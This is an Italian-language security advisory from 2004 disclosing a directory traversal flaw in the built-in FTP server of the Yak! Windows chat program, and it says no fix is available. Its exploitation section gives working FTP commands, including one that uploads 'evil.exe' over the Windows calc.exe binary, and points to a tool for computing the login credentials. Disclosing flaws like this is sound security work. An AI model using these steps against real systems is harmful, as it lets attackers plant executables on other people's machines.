####################################################################### Luigi Auriemma Applicazione: Yak! http://www.digicraft.com.au/yak/ Versioni: <= 2.1.2 Piattaforme: Windows Bug: directory traversal (upload) Exploitation: remoto Data: 15 Ottobre 2004 Autore: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduzione 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduzione =============== Yak! e' un sistema di chat senza server per Windows e permette alle persone di parlare e scambiare files. ####################################################################### ====== 2) Bug ====== Quando il programma viene avviato crea un utente ed una password per ogni indirizzo IP delle interfacce di rete del computer. Queste informazioni per il login sono necessarie a garantire l'accesso al server FTP interno (utilizzato solo per ricevere files) dagli altri host Yak! Il problema e' proprio in questo server FTP in quanto l'input dei clients non e' filtrato e quindi e' possibile caricare files ovunque nel disco ove e' stata settata la directory di upload di Yak! sovrascrivendo quelli esistenti. Naturalmente e' anche possibile vedere qualsiasi directory e file remoto (ma sembra che solo c: sia visibile anche se la cartella per l'upload e' situata su un altro disco) mentre il download non e' possibile in quanto il programma puo' soltanto ricevere files. ####################################################################### =========== 3) The Code =========== Basta eseguire le seguenti operazioni: Scarica il mio "Yak! username and password calculator" http://aluigi.org/papers/yakcalc.zip per ricavare l'utente e la password per avere accesso al server FTP di un computer specifico ove gira Yak! Poi connettiti alla porta FTP di Yak!, solitamente 3535: C:\>ftp ftp> open HOST 3535 Inserisci l'utente e la password appena calcolati e carica i tuoi files come nell'esempio seguente: dir / dir ../windows/ put evil.exe ../../windows/calc.exe (slash e backslash hanno lo stesso effetto) ####################################################################### ====== 4) Fix ====== No fix. Il vendor e' stato contattato esattamente un mese fa' ma nessuna patch e' ancora disponibile. #######################################################################